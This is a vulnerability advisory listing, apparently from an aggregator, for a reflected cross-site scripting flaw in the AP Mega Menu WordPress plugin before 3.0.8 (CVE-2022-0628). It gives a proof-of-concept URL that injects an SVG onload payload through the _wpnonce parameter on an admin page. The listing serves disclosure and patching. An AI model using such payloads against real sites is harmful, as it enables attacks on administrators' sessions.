Lucene search
Ran CraneWPEX-ID:AF9787EE-C496-4F02-A22C-C8F8A97AD902HistoryFeb 28, 2022 - 12:00 a.m.
AP Mega Menu < 3.0.8 - Reflected Cross-Site Scripting
2022-02-2800:00:00
Ran Crane
117
0.001 Low
EPSS
Percentile
30.2%
The plugin does not sanitize and escape the _wpnonce parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.
https://example.com/wp-admin/admin.php?page=wpmm-add-theme&_wpnonce="><svg/onload=alert(/XSS/)>Related
wpvulndb
wpvulndb
AP Mega Menu < 3.0.8 - Reflected Cross-Site Scripting
2022-02-28 00:00:00
nvd
nvd
CVE-2022-0628
2022-03-21 19:15:11
patchstack
patchstack
cvelist
cvelist
CVE-2022-0628 AP Mega Menu < 3.0.8 - Reflected Cross-Site Scripting
2022-03-21 18:55:52
cve
cve
CVE-2022-0628
2022-03-21 19:15:11
prion
prion
Cross site scripting
2022-03-21 19:15:00